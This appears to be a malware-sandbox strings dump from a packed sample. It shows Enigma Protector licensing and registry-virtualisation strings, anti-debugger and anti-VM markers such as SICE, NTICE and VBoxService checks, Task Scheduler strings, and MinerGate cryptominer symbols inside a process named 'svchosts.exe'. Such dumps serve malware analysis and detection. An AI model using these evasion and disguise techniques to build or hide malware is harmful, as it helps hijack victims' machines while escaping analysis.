Windows 2003 Server
WIN_VER_WINDOWS2003SERVER
Windows 2003 Server R2
WIN_VER_WINDOWS2003SERVERR2
Windows 2003 Storage Server
WIN_VER_WINDOWS2003STORAGESERVER
Windows 2003 Datacenter Itanium
WIN_VER_WINDOWS2003DATACENTERITANIUM
Windows 2003 Enterprise Itanium
WIN_VER_WINDOWS2003ENTERPRICEITANIUM
Windows 2003 Datacenter x64
WIN_VER_WINDOWS2003DATACENTERx64
Windows 2003 Enterprise x64
WIN_VER_WINDOWS2003ENERPRICEx64
Windows 2003 Standart x64
WIN_VER_WINDOWS2003STANDARTx64
Windows 2003 Compute
WIN_VER_WINDOWS2003COMPUTE
Windows 2003 Datacenter
WIN_VER_WINDOWS2003DATACENTER
Windows 2003 Enterprise
WIN_VER_WINDOWS2003ENTERPRICE
Windows 2003 Web
WIN_VER_WINDOWS2003WEB
Windows 2003 Standart
WIN_VER_WINDOWS2003STANDART
Windows Vista
WIN_VER_WINDOWSVISTA
Windows Vista Business
WIN_VER_WINDOWSVISTA_BUSINESS
Windows Vista Cluster Server
WIN_VER_WINDOWSVISTA_CLUSTER_SERVER
Windows Vista Datacenter Server
WIN_VER_WINDOWSVISTA_DATACENTER_SERVER
Windows Vista Datacenter Server Core
WIN_VER_WINDOWSVISTA_DATACENTER_SERVER_CORE
Windows Vista Datacenter Server Core V
WIN_VER_WINDOWSVISTA_DATACENTER_SERVER_CORE_V
Windows Vista Datacenter Server V
WIN_VER_WINDOWSVISTA_DATACENTER_SERVER_V
Windows Vista Enterprise
WIN_VER_WINDOWSVISTA_ENTERPRICE
Windows Vista Enterprise Server
WIN_VER_WINDOWSVISTA_ENTERPRISE_SERVER
Windows Vista Enterprise Server Core
WIN_VER_WINDOWSVISTA_ENTERPRISE_SERVER_CORE
Windows Vista Enterprise Server V
WIN_VER_WINDOWSVISTA_ENTERPRISE_SERVER_V
Windows Vista Enterprise Server Core V
WIN_VER_WINDOWSVISTA_ENTERPRISE_SERVER_CORE_V
Windows Vista Enterprise Server IA64
WIN_VER_WINDOWSVISTA_ENTERPRISE_SERVER_IA64
Windows Vista Home Basic
WIN_VER_WINDOWSVISTA_HOME_BASIC
Windows Vista Home Premium
WIN_VER_WINDOWSVISTA_HOME_PREMIUM
Windows Vista Home Server
WIN_VER_WINDOWSVISTA_HOME_SERVER
Windows Vista Server For Small Business
WIN_VER_WINDOWSVISTA_SERVER_FOR_SMALLBUSINESS
Windows Vista Small Business Server
WIN_VER_WINDOWSVISTA_SMALLBUSINESS_SERVER
Windows Vista Small Business Server Premium
WIN_VER_WINDOWSVISTA_SMALLBUSINESS_SERVER_PREMIUM
Windows Vista Medium Business Server Management
WIN_VER_WINDOWSVISTA_MEDIUMBUSINESS_SERVER_MANAGEMENT
Windows Vista Medium Business Server Messaging
WIN_VER_WINDOWSVISTA_MEDIUMBUSINESS_SERVER_MESSAGING
Windows Vista Medium Business Server Security
WIN_VER_WINDOWSVISTA_MEDIUMBUSINESS_SERVER_SECURITY
Windows Vista Standard Server
WIN_VER_WINDOWSVISTA_STANDARD_SERVER
Windows Vista Standard Server V
WIN_VER_WINDOWSVISTA_STANDARD_SERVER_V
Windows Vista Standard Server Core
WIN_VER_WINDOWSVISTA_STANDARD_SERVER_CORE
Windows Vista Standard Server Core V
WIN_VER_WINDOWSVISTA_STANDARD_SERVER_CORE_V
Windows Vista Starter
WIN_VER_WINDOWSVISTA_STARTER
Windows Vista Storage Enterprise Server
WIN_VER_WINDOWSVISTA_STORAGE_ENTERPRISE_SERVER
Windows Vista Storage Express Server
WIN_VER_WINDOWSVISTA_STORAGE_EXPRESS_SERVER
Windows Vista Storage Standard Server
WIN_VER_WINDOWSVISTA_STORAGE_STANDARD_SERVER
Windows Vista Storage Workgroup Server
WIN_VER_WINDOWSVISTA_STORAGE_WORKGROUP_SERVER
Windows Vista Undefined
WIN_VER_WINDOWSVISTA_UNDEFINED
Windows Vista Ultimate
WIN_VER_WINDOWSVISTA_ULTIMATE
Windows Vista Web Server
WIN_VER_WINDOWSVISTA_WEB_SERVER
Windows Vista Web Server Core
WIN_VER_WINDOWSVISTA_WEB_SERVER_CORE
Windows Vista Unlicensed
WIN_VER_WINDOWSVISTA_UNLICENSED
Windows 2008
WIN_VER_WINDOWS2008
Windows 2008 Business
WIN_VER_WINDOWS2008_BUSINESS
Windows 2008 Cluster Server
WIN_VER_WINDOWS2008_CLUSTER_SERVER
Windows 2008 Datacenter Server
WIN_VER_WINDOWS2008_DATACENTER_SERVER
Windows 2008 Datacenter Server Core
WIN_VER_WINDOWS2008_DATACENTER_SERVER_CORE
Windows 2008 Datacenter Server Core V
WIN_VER_WINDOWS2008_DATACENTER_SERVER_CORE_V
Windows 2008 Datacenter Server V
WIN_VER_WINDOWS2008_DATACENTER_SERVER_V
Windows 2008 Enterprise
WIN_VER_WINDOWS2008_ENTERPRICE
Windows 2008 Enterprise Server
WIN_VER_WINDOWS2008_ENTERPRISE_SERVER
Windows 2008 Enterprise Server Core
WIN_VER_WINDOWS2008_ENTERPRISE_SERVER_CORE
Windows 2008 Enterprise Server V
WIN_VER_WINDOWS2008_ENTERPRISE_SERVER_V
Windows 2008 Enterprise Server Core V
WIN_VER_WINDOWS2008_ENTERPRISE_SERVER_CORE_V
Windows 2008 Enterprise Server IA64
WIN_VER_WINDOWS2008_ENTERPRISE_SERVER_IA64
Windows 2008 Home Basic
WIN_VER_WINDOWS2008_HOME_BASIC
Windows 2008 Home Premium
WIN_VER_WINDOWS2008_HOME_PREMIUM
Windows 2008 Home Server
WIN_VER_WINDOWS2008_HOME_SERVER
Windows 2008 Server For Small Business
WIN_VER_WINDOWS2008_SERVER_FOR_SMALLBUSINESS
Windows 2008 Small Business Server
WIN_VER_WINDOWS2008_SMALLBUSINESS_SERVER
Windows 2008 Small Business Server Premium
WIN_VER_WINDOWS2008_SMALLBUSINESS_SERVER_PREMIUM
Windows 2008 Medium Business Server Management
WIN_VER_WINDOWS2008_MEDIUMBUSINESS_SERVER_MANAGEMENT
Windows 2008 Medium Business Server Messaging
WIN_VER_WINDOWS2008_MEDIUMBUSINESS_SERVER_MESSAGING
Windows 2008 Medium Business Server Security
WIN_VER_WINDOWS2008_MEDIUMBUSINESS_SERVER_SECURITY
Windows 2008 Standard Server
WIN_VER_WINDOWS2008_STANDARD_SERVER
Windows 2008 Standard Server V
WIN_VER_WINDOWS2008_STANDARD_SERVER_V
Windows 2008 Standard Server Core
WIN_VER_WINDOWS2008_STANDARD_SERVER_CORE
Windows 2008 Standard Server Core V
WIN_VER_WINDOWS2008_STANDARD_SERVER_CORE_V
Windows 2008 Starter
WIN_VER_WINDOWS2008_STARTER
Windows 2008 Storage Enterprise Server
WIN_VER_WINDOWS2008_STORAGE_ENTERPRISE_SERVER
Windows 2008 Storage Express Server
WIN_VER_WINDOWS2008_STORAGE_EXPRESS_SERVER
Windows 2008 Storage Standard Server
WIN_VER_WINDOWS2008_STORAGE_STANDARD_SERVER
Windows 2008 Storage Workgroup Server
WIN_VER_WINDOWS2008_STORAGE_WORKGROUP_SERVER
Windows 2008 Undefined
WIN_VER_WINDOWS2008_UNDEFINED
Windows 2008 Ultimate
WIN_VER_WINDOWS2008_ULTIMATE
Windows 2008 Web Server
WIN_VER_WINDOWS2008_WEB_SERVER
Windows 2008 Web Server Core
WIN_VER_WINDOWS2008_WEB_SERVER_CORE
Windows 2008 Unlicensed
WIN_VER_WINDOWS2008_UNLICENSED
Windows 2008 R2
WIN_VER_WINDOWS2008R2
Windows 2008 R2 Business
WIN_VER_WINDOWS2008R2_BUSINESS
Windows 2008 R2 Cluster Server
WIN_VER_WINDOWS2008R2_CLUSTER_SERVER
Windows 2008 R2 Datacenter Server
WIN_VER_WINDOWS2008R2_DATACENTER_SERVER
Windows 2008 R2 Datacenter Server Core
WIN_VER_WINDOWS2008R2_DATACENTER_SERVER_CORE
Windows 2008 R2 Datacenter Server Core V
WIN_VER_WINDOWS2008R2_DATACENTER_SERVER_CORE_V
Windows 2008 R2 Datacenter Server V
WIN_VER_WINDOWS2008R2_DATACENTER_SERVER_V
Windows 2008 R2 Enterprise
WIN_VER_WINDOWS2008R2_ENTERPRICE
Windows 2008 R2 Enterprise Server
WIN_VER_WINDOWS2008R2_ENTERPRISE_SERVER
Windows 2008 R2 Enterprise Server Core
WIN_VER_WINDOWS2008R2_ENTERPRISE_SERVER_CORE
Windows 2008 R2 Enterprise Server V
WIN_VER_WINDOWS2008R2_ENTERPRISE_SERVER_V
Windows 2008 R2 Enterprise Server Core V
WIN_VER_WINDOWS2008R2_ENTERPRISE_SERVER_CORE_V
Windows 2008 R2 Enterprise Server IA64
WIN_VER_WINDOWS2008R2_ENTERPRISE_SERVER_IA64
Windows 2008 R2 Home Basic
WIN_VER_WINDOWS2008R2_HOME_BASIC
Windows 2008 R2 Home Premium
WIN_VER_WINDOWS2008R2_HOME_PREMIUM
Windows 2008 R2 Home Server
WIN_VER_WINDOWS2008R2_HOME_SERVER
Windows 2008 R2 Server For Small Business
WIN_VER_WINDOWS2008R2_SERVER_FOR_SMALLBUSINESS
Windows 2008 R2 Small Business Server
WIN_VER_WINDOWS2008R2_SMALLBUSINESS_SERVER
Windows 2008 R2 Small Business Server Premium
WIN_VER_WINDOWS2008R2_SMALLBUSINESS_SERVER_PREMIUM
Windows 2008 R2 Medium Business Server Management
WIN_VER_WINDOWS2008R2_MEDIUMBUSINESS_SERVER_MANAGEMENT
Windows 2008 R2 Medium Business Server Messaging
WIN_VER_WINDOWS2008R2_MEDIUMBUSINESS_SERVER_MESSAGING
Windows 2008 R2 Medium Business Server Security
WIN_VER_WINDOWS2008R2_MEDIUMBUSINESS_SERVER_SECURITY
Windows 2008 R2 Standard Server
WIN_VER_WINDOWS2008R2_STANDARD_SERVER
Windows 2008 R2 Standard Server V
WIN_VER_WINDOWS2008R2_STANDARD_SERVER_V
Windows 2008 R2 Standard Server Core
WIN_VER_WINDOWS2008R2_STANDARD_SERVER_CORE
Windows 2008 R2 Standard Server Core V
WIN_VER_WINDOWS2008R2_STANDARD_SERVER_CORE_V
Windows 2008 R2 Starter
WIN_VER_WINDOWS2008R2_STARTER
Windows 2008 R2 Storage Enterprise Server
WIN_VER_WINDOWS2008R2_STORAGE_ENTERPRISE_SERVER
Windows 2008 R2 Storage Express Server
WIN_VER_WINDOWS2008R2_STORAGE_EXPRESS_SERVER
Windows 2008 R2 Storage Standard Server
WIN_VER_WINDOWS2008R2_STORAGE_STANDARD_SERVER
Windows 2008 R2 Storage Workgroup Server
WIN_VER_WINDOWS2008R2_STORAGE_WORKGROUP_SERVER
Windows 2008 R2 Undefined
WIN_VER_WINDOWS2008R2_UNDEFINED
Windows 2008 R2 Ultimate
WIN_VER_WINDOWS2008R2_ULTIMATE
Windows 2008 R2 Web Server
WIN_VER_WINDOWS2008R2_WEB_SERVER
Windows 2008 R2 Web Server Core
WIN_VER_WINDOWS2008R2_WEB_SERVER_CORE
Windows 2008 R2 Unlicensed
WIN_VER_WINDOWS2008R2_UNLICENSED
Windows 7
WIN_VER_WINDOWSSEVEN
Windows 7 Business
WIN_VER_WINDOWSSEVEN_BUSINESS
Windows 7 Cluster Server
WIN_VER_WINDOWSSEVEN_CLUSTER_SERVER
Windows 7 Datacenter Server
WIN_VER_WINDOWSSEVEN_DATACENTER_SERVER
Windows 7 Datacenter Server Core
WIN_VER_WINDOWSSEVEN_DATACENTER_SERVER_CORE
Windows 7 Datacenter Server Core V
WIN_VER_WINDOWSSEVEN_DATACENTER_SERVER_CORE_V
Windows 7 Datacenter Server V
WIN_VER_WINDOWSSEVEN_DATACENTER_SERVER_V
Windows 7 Enterprise
WIN_VER_WINDOWSSEVEN_ENTERPRICE
Windows 7 Enterprise Server
WIN_VER_WINDOWSSEVEN_ENTERPRISE_SERVER
Windows 7 Enterprise Server Core
WIN_VER_WINDOWSSEVEN_ENTERPRISE_SERVER_CORE
Windows 7 Enterprise Server V
WIN_VER_WINDOWSSEVEN_ENTERPRISE_SERVER_V
Windows 7 Enterprise Server Core V
WIN_VER_WINDOWSSEVEN_ENTERPRISE_SERVER_CORE_V
Windows 7 Enterprise Server IA64
WIN_VER_WINDOWSSEVEN_ENTERPRISE_SERVER_IA64
Windows 7 Home Basic
WIN_VER_WINDOWSSEVEN_HOME_BASIC
Windows 7 Home Premium
WIN_VER_WINDOWSSEVEN_HOME_PREMIUM
Windows 7 Home Server
WIN_VER_WINDOWSSEVEN_HOME_SERVER
Windows 7 Server For Small Business
WIN_VER_WINDOWSSEVEN_SERVER_FOR_SMALLBUSINESS
Windows 7 Small Business Server
WIN_VER_WINDOWSSEVEN_SMALLBUSINESS_SERVER
Windows 7 Small Business Server Premium
WIN_VER_WINDOWSSEVEN_SMALLBUSINESS_SERVER_PREMIUM
Windows 7 Medium Business Server Management
WIN_VER_WINDOWSSEVEN_MEDIUMBUSINESS_SERVER_MANAGEMENT
Windows 7 Medium Business Server Messaging
WIN_VER_WINDOWSSEVEN_MEDIUMBUSINESS_SERVER_MESSAGING
Windows 7 Medium Business Server Security
WIN_VER_WINDOWSSEVEN_MEDIUMBUSINESS_SERVER_SECURITY
Windows 7 Standard Server
WIN_VER_WINDOWSSEVEN_STANDARD_SERVER
Windows 7 Standard Server V
WIN_VER_WINDOWSSEVEN_STANDARD_SERVER_V
Windows 7 Standard Server Core
WIN_VER_WINDOWSSEVEN_STANDARD_SERVER_CORE
Windows 7 Standard Server Core V
WIN_VER_WINDOWSSEVEN_STANDARD_SERVER_CORE_V
Windows 7 Starter
WIN_VER_WINDOWSSEVEN_STARTER
Windows 7 Storage Enterprise Server
WIN_VER_WINDOWSSEVEN_STORAGE_ENTERPRISE_SERVER
Windows 7 Storage Express Server
WIN_VER_WINDOWSSEVEN_STORAGE_EXPRESS_SERVER
Windows 7 Storage Standard Server
WIN_VER_WINDOWSSEVEN_STORAGE_STANDARD_SERVER
Windows 7 Storage Workgroup Server
WIN_VER_WINDOWSSEVEN_STORAGE_WORKGROUP_SERVER
Windows 7 Undefined
WIN_VER_WINDOWSSEVEN_UNDEFINED
Windows 7 Ultimate
WIN_VER_WINDOWSSEVEN_ULTIMATE
Windows 7 Web Server
WIN_VER_WINDOWSSEVEN_WEB_SERVER
Windows 7 Web Server Core
WIN_VER_WINDOWSSEVEN_WEB_SERVER_CORE
Windows 7 Unlicensed
WIN_VER_WINDOWSSEVEN_UNLICENSED
Portuguese (Brazil)
Portuguese (Portugal)
Enigma_Plugin_OnSaveKey
Enigma_Plugin_OnLoadKey
ntdll.dll
LS_Enigma_Plugin_OnDeleteKey
TExecutedProcess
CCommonOperationSystem
ZwOpenKey
ZwEnumerateValueKey
ZwQueryKey
ZwQueryValueKey
ZwCreateKey
ZwEnumerateKey
ZwSetValueKey
ZwDeleteKey
ZwDeleteValueKey
ZwFlushKey
ZwLoadKey
ZwLoadKey2
ZwNotifyChangeKey
ZwQueryMultipleValueKey
ZwReplaceKey
ZwRestoreKey
ZwSaveKey
ZwSetInformationKey
ZwUnloadKey
ZwOpenKeyEx
TExported`
.Uym1
USER32.DLL
EInvalidGraphicOperation
uxtheme.dll
Proportional
MAPI32.DLL
TComboBoxExEnumerator
ssHorizontal
OnKeyDown
OnKeyPress
OnKeyUp
IE(AL("%s",4),"AL(\"%0:s\",3)","JK(\"%1:s\",\"%0:s\")")
JumpID("","%s")
HelpKeyword
OnExecute
ssHotTrack
TWindowState
poProportional
TWMKey
KeyPreview
WindowState,E
System\CurrentControlSet\Control\Keyboard Layouts\%.8x
vcltest3.dll
User32.dll
AutoHotkeys
AutoHotkeysHC
TKeyEvent
TKeyPressEvent
crSQLWait
%s (%s)
imm32.dll
w:\3rdparty\TntUnicode\Source\TntActnList.pas
PasswordChar
w:\3rdparty\TntUnicode\Source\TntStdCtrls.pas
w:\3rdparty\TntUnicode\Source\TntForms.pas
w:\3rdparty\TntUnicode\Source\TntMenus.pas
Internal Error: SyncHotKeyPosition Failed ("%s" <> "%s").
w:\3rdparty\TntUnicode\Source\TntControls.pas
Internal Error: SubClassUnicodeControl.Control is not Unicode.
.UnicodeClass
TntUnicodeVcl.DestroyWindow
Internal Error: Control does not support ITntGlyphButton.
dtPostMsg
Software\Microsoft\Windows\CurrentVersion
ProductKey
Software\Microsoft\Windows NT\CurrentVersion
\\.\PhysicalDrive0
\\.\%s
\\.\Scsi0:
\\.\SMARTVSD
w:\3rdparty\TntUnicode\Source\TntRegistry.pas
#$%&'()* ,-./01234
PSAPI.dll
s%F%,h
VBoxService.exe
ÞFAULT FOLDER%
%SYSTEM FOLDER%
%WINDOWS FOLDER%
Mutex object: Unique: %d-%d. Number: %d
DLL_Loader_Import_Unit
TInitImport
Could not load library: %s
k_ntdll.dll
File not found: %s
Can't find DLL entry point %s in %s
"%s" %s
%s %s
mscorwks.dll
mscoreei.dll
clr.dll
.llfw
<N$.Fkx
%s\%.8x%.8x-%.8x%.8x
X.xP`*U
)-%X`
coRegistratioKey
ZwQuerySection, Unsupported class %d
KeySetValue unsupported value type
ZwQueryValueKey, unsupported class %d
ZwQueryKey, unsupported class %d
ZwQueryObject with unsupported class
ZwReadFileInformation with unsupported class
ZwSetInformationFile with unsupported class
sxs.dll
THookWindowsAPI
nUc.HL@Y
\\.\NTICE
\\.\SICE
\\.\SIWDEBUG
I80|k.ZzD'
)TEnigmaProtectorLoaderFormStartuppassword
DLL_Loader_RunPassword_Unit
.brOmxw
1.2.3
Portable Network Graphics
decrypt_on_execute_begin
ECRONEXECB
decrypt_on_execute_end
ECRONEXECE
.section
deflate 1.2.3 Copyright 1995-2005 Jean-loup Gailly
inflate 1.2.3 Copyright 1995-2005 Mark Adler
;&;.;6;>;
?#?)?.?9?
1!1%1)1-11151~1
3 3$3(3,30383`3
;";&;*;.;2;
;$<=<`<{<
7&7.787=7
[0/1;102
0"0&0*000
5%5[5`5|5
3%4U4`4m4
1-171W1}1
0#0'0 0/0
1 1$1(1,1014181<1
8$8 82878
; ;(;0;8;@;
@``@``@``@``@``@``@``@
@``@``@``@``@``
333333333333333333
33333833
3333339
3333333333333338
:*"*"$3338
3333333
33333333
33333333333
3333333333338
33338?383
333333333333
:*3:"$3338
333333333333333
TntWindows
KWindows
UrlMon
_enigma_keygen_routines
virtualboximportunit
KeyRoutines
nJwaWindows
 DLL_Loader_Import_Unit
user32.dll
K3.hE-
.EKK*c
.Ri?0
.HhbL
.WBhSP
Hw2.Hw
advapi32.dll
version.dll
gdi32.dll
shell32.dll
SHFolder.dll
shlwapi.dll
GetWindowsDirectoryW
GetWindowsDirectoryA
GetCPInfo
GetKeyboardType
VkKeyScanW
UnhookWindowsHookEx
SetWindowsHookExW
SetWindowsHookExA
MsgWaitForMultipleObjects
MapVirtualKeyW
MapVirtualKeyA
LoadKeyboardLayoutA
GetKeyboardState
GetKeyboardLayoutList
GetKeyboardLayout
GetKeyState
GetKeyNameTextW
GetKeyNameTextA
EnumWindows
EnumThreadWindows
ActivateKeyboardLayout
RegOpenKeyExA
RegCloseKey
RegOpenKeyA
RegFlushKey
RegCreateKeyExA
SetViewportOrgEx
ShellExecuteW
ShellExecuteA
RtlFormatCurrentUserKeyPath
.idata
.edata
P.reloc
P.rsrc
emulatorsdetect.dll
2'2U2^2j2q2
Unspecified error (%d) from %s.
%Cookies FOLDER%
enigma_ide.dll
%s - Entry Point Not Found
The procedure entry point %s could not be located in the dynamic link library %s.
ÚysToKeyExp%
%RegKey%
%KeyExpYear%
%KeyExpMonth%
%KeyExpDay%
%CU_EXTFILES%
%CU_EXECPR%
%CU_INSTSERV%
%CU_WINVER%
%CU_VIRTTOOLS%
%TrialExecsTotal%
%TrialExecsLeft%
%TrialExecMinsTotal%
%TrialExecMinsLeft%
hh.exe
write.exe
attrib.exe
chkdsk.exe
compact.exe
find.exe
help.exe
winver.exe
regsvr32.exe
replace.exe
dllhost.exe
ntvdm.exe
tcpsvcs.exe
Was not able to create virtual value at ImportCall_ZwSetValueKey
Was not able to create virtual key at ImportCall_ZwSetValueKey
ImportCall_ZwLoadKey
ImportCall_ZwLoadKey2
ImportCall_ZwNotifyChangeKey
ImportCall_ZwQueryMultipleValueKey
ImportCall_ZwReplaceKey
ImportCall_ZwRestoreKey
ImportCall_ZwSaveKey
ImportCall_ZwSetInformationKey
ImportCall_ZwUnloadKey
evb*.tmp
.manifest
Unsupported call of ZwSetVolumeInformationFile
@<>:"/\|?*
Application requires password to start
Enter password
Change password
New password:
Confirm new password:
The file being readed is not a valid "Portable Network Graphics" image because it contains an invalid header. This file may be corruped, try obtaining it again.nThis "Portable Network Graphics" image is not supported or it might be invalid.
This "Portable Network Graphics" image is not supported because either it's width or height exceeds the maximum size, which is 65535 pixels length.
There is no such palette entry.dThis "Portable Network Graphics" image contains an unknown critical part which could not be decoded.pThis "Portable Network Graphics" image is encoded with an unknown compression scheme which could not be decoded.cThis "Portable Network Graphics" image uses an unknown interlace scheme which could not be decoded.-The chunks must be compatible to be assigned.jThis "Portable Network Graphics" image is invalid because the decoder found an unexpected end of the file.8This "Portable Network Graphics" image contains no data.oSome operation could not be performed because the system is out of resources. Close some windows and try again.OThis operation is not valid because the current image contains no valid header.4The new size provided for image resizing is invalid.
RichEdit line insertion error=This control requires version 4.70 or greater of COMCTL32.DLL
No help keyword specified.&Cannot change the size of a JPEG image
JPEG error #%d
JPEG Image FilejThis "Portable Network Graphics" image is not valid because it contains invalid pieces of data (crc error)yThe "Portable Network Graphics" image could not be loaded because one of its main piece of data (ihdr) might be corruptedUThis "Portable Network Graphics" image is invalid because it has missing image parts.[Could not decompress the image because it contains invalid compressed data.
Description: BThe "Portable Network Graphics" image contains an invalid palette.
No help found for %s#No context-sensitive help installed$No topic-based help system installed
Alt  Clipboard does not support Icons
Text exceeds memo capacity/Menu '%s' is already being used by another form
Unsupported clipboard format
Error creating window class Cannot focus a disabled or invisible window!Control '%s' has no parent window
Failed to set data for '%s'
Resource %s not found
%s.Seek not implemented$Operation not allowed on sorted list$%s not in a class registration group
Property %s does not exist
Thread creation error: %s
Thread Error: %s (%d)
Invalid Format Specifier: %s7CreateClone not implemented for class %s with source %s
Cannot open file "%s". %s
'%s' is an invalid mask at (%d)$''%s'' is not a valid component name
Invalid data type for '%s' List capacity out of bounds (%d)
List count out of bounds (%d)
List index out of bounds (%d) Out of memory while expanding memory stream
Error reading %s%s%s: %s
Failed to get data for '%s'
.Method '%s' not supported by automation object/Variant does not reference an automation object7Dispatch methods do not support more than 64 parameters
Ancestor for '%s' not found
Cannot assign a %s to a %s
Bits index out of range*Can't write to a read-only resource streamECheckSynchronize called from thread $%x, which is NOT the main thread
Class %s not found
A class named %s already exists%List does not allow duplicates ($0%x)#A component named %s already exists%String list does not allow duplicates
Cannot create file "%s". %s
Interface not supported
%s (%s, line %d)
Abstract Error?Access violation at address %p in module '%s'. %s of address %p
System Error. Code: %d.
Invalid variant operation
Invalid NULL variant operation%Invalid variant operation (%s%.8x)
%s5Could not convert variant of type (%s) into type (%s)=Overflow while converting variant of type (%s) into type (%s)
Operation not supported
External exception %x
Invalid pointer operation
Invalid class typecast0Access violation at address %p. %s of address %p
Privileged instruction(Exception %s in module %s at %p.
Application Error1Format '%s' invalid or incompatible with argument
No argument for format '%s'"Variant method calls not supported
!'%s' is not a valid integer value
I/O error %d
Integer overflow Invalid floating point operation
Emulators usually hooks all Windows API functions (due to a lot of APIs),

taskeng.exe_2752:

.text
`.data
.rsrc
@.reloc
USER32.dll
msvcrt.dll
ntdll.dll
API-MS-Win-Core-Debug-L1-1-0.dll
API-MS-Win-Core-ErrorHandling-L1-1-0.dll
API-MS-Win-Core-File-L1-1-0.dll
API-MS-Win-Core-Handle-L1-1-0.dll
API-MS-Win-Core-Heap-L1-1-0.dll
API-MS-Win-Core-Interlocked-L1-1-0.dll
API-MS-Win-Core-LibraryLoader-L1-1-0.dll
API-MS-Win-Core-Misc-L1-1-0.dll
API-MS-Win-Core-ProcessEnvironment-L1-1-0.dll
API-MS-Win-Core-ProcessThreads-L1-1-0.dll
API-MS-Win-Core-Profile-L1-1-0.dll
API-MS-Win-Core-Synch-L1-1-0.dll
API-MS-Win-Core-SysInfo-L1-1-0.dll
API-MS-Win-Core-ThreadPool-L1-1-0.dll
API-MS-Win-Security-Base-L1-1-0.dll
ole32.dll
OLEAUT32.dll
RPCRT4.dll
KERNEL32.dll
d:\w7rtm\admin\wmi\jobs\server\session\session\main.cpp
Session::ChannelMsgReceived
d:\w7rtm\admin\wmi\jobs\server\session\session\session.cpp
d:\w7rtm\admin\wmi\jobs\server\session\session\clientchannel2.cpp
d:\w7rtm\admin\wmi\jobs\server\engine\task.cpp
d:\w7rtm\admin\wmi\jobs\server\engine\comhandlerbase.cpp
StopJobMsg
StartJobMsg
ClientPipeName
Invalid parameter passed to C runtime function.
d:\w7rtm\admin\wmi\jobs\common\xml\taskxmlreader.cpp
TaskScheduler.log
j%Xf;
d:\w7rtm\admin\wmi\jobs\server\engine\action.cpp
API-MS-WIN-Service-Management-L1-1-0.dll
API-MS-WIN-Service-winsvc-L1-1-0.dll
ADVAPI32.dll
SHELL32.dll
SHLWAPI.dll
SspiCli.dll
XmlLite.dll
MPR.dll
RegOpenKeyTransactedW
RegCloseKey
RegOpenKeyExW
RegNotifyChangeKeyValue
RegCreateKeyExW
FindExecutableW
MsgWaitForMultipleObjects
EnumThreadWindows
EnumWindows
GetProcessWindowStation
_wcmdln
_amsg_exit
GetProcessHeap
SetProcessShutdownParameters
TaskEng.pdb
version="5.1.0.0"
name="Microsoft.Windows.WMI.TaskScheduler.TaskEng"
<requestedExecutionLevel
8 8$8(878
3=4Z4w4
=!=(=0=4=?=>>
5 5U5_5
5b6u6
-131J1X1o1}1
=$=<=\=|=
Password
hXXp://schemas.microsoft.com/windows/2004/02/mit/task
ieframe.dll
%SystemRoot%\SYSTEM32\cmd.exe
%SystemRoot%\System32\Tasks
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Configuration
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Handshake
WindowSeconds
InitializeCmdlineProcessing()
pCrimson provider registration failed for taskeng, hr=0x%x
CATCH_KNOWN: %S ==> hr=0x%x [%S(),%d,%S]
InteractiveTokenOrPassword
%d.%d
%s, (%d)
hXXp://schemas.microsoft.com/cdo/configuration/smtpconnectiontimeout
hXXp://schemas.microsoft.com/cdo/configuration/smtpauthenticate
hXXp://schemas.microsoft.com/cdo/configuration/sendusing
hXXp://schemas.microsoft.com/cdo/configuration/smtpserver
201ef99a-7fa0-444c-9399-19ba84f12a1a
C:\Windows\SYSTEM32\cmd.exe
6.1.7601.17514 (win7sp1_rtm.101119-1850)
taskeng.exe
Windows
Operating System
6.1.7601.17514

svchosts.exe_2836_rwx_00D32000_00001000:

?setCpuCores@AbstractMinerEngine@MinerGate@@QAEXI@Z
?setCpuCoresImpl@CNBaseEngine@MinerGate@@MAEXI@Z
?setCpuCoresImpl@ScryptBaseEngine@MinerGate@@MAEXI@Z
?startCpu@AbstractMinerEngine@MinerGate@@QAEXI@Z
?startCpuImpl@CNBaseEngine@MinerGate@@MAEXI@Z
?startCpuImpl@ScryptBaseEngine@MinerGate@@MAEXI@Z
kernel32.dll
user32.dll
advapi32.dll
oleaut32.dll
gdi32.dll
shell32.dll
version.dll
Qt5Core.dll
Qt5Network.dll
Qt5WebSockets.dll
cudart32_60.dll
MSVCP110.dll
MSVCR110.dll
plib.dll
RegCloseKey
ShellExecuteA
??0QWebSocket@@QAE@ABVQString@@W4Version@QWebSocketProtocol@@PAVQObject@@@Z

svchosts.exe_2836_rwx_00D42000_000D5000:

%SEoD
kern0l32.ud
;X.VB
-Dk%u
/S-Z}
o:.Lk>d
t:\N424
)9%XPh
%uC|p
12345678
#$%&*;<=.>@_
Keyw{
uÊl
s0.SVO
{:%cT
srO%C
%s_7d
_=p%u6
w:\3rdp^a
K:%Xa
cRTY E
S.rAtR
<.ou-(<Xf
TLM|%c
%Ch.ZZ
E).pJ
F.hqO
f;%XWm
6<Tj%S[i
%UlJ0
rviyc%s
.LR$/
7%)ntl%uG:
"%sc,4)
%SWv9Ia%
%cR1%
i|$_%DY
keyPs&<
23456789
BkEY
?,?3:4;8'9
%s2 (
.HYFKJ
 %SD3
,u%X'
hA.Dh
f;2%u[
Q.KPe
-y.lO
C Ö)
>X.PC$N(
.UP?1
("9%s
X%c&u 
%s e(
.vpPDr
* ,-./01
e.UqOL&
.Mt>.
s%F@,h
ÞFAU
.uS%$
<N$.Fk
VirtualsP%ckP
-Q}iW
@%Xc^
Uc.HL@Y
;i.nc
ÜE6Hv
mc%dT
0}%f:7
%DZ`"
%C,/-
Q.KJ$'
"p.xUbP
Porta
1234567
8$4,6-9'
x"%D.
"%D,3
?F=N3V%f
?R?]%c
>P.km
Jx<%F
;-':X.NN
Xr9E%SA
.NgBH
z8H;\%U
3%x2KD
-.Ajo
.VX$~^~b~fJj
~"~&~*~.~2~6[:
-fYR%S
%C|:M
.ptY:(
8.tVkf
$y.fc
.Nd2(
~ ~$~(^,
.Ri?0
.HhbX
p5.oie
.ex|'
'.sVd
Y.pKs
h.Xw%7
:%5xBP
VM8Y
X.vFY<`C
hb2%X
= \#= 58
-.zy/
IM?%c
>.LJ^[t
=7>E?R?_%f
-.AXo
>,&%d
?#?'? ?/%
49!:%&):
.oPAp
(.tb:
Site : hXXp://VVV.enigmaprotector.com/
E-mail : support@enigmaprotector.com

svchosts.exe_2836_rwx_021E0000_00004000:

Invalid NULL variant operation
Invalid variant operation
Variant method calls not supported
Access violation at address %p. %s of address %p
Invalid pointer operation
Invalid floating point operation
I/O error %d
'%s' is not a valid integer value

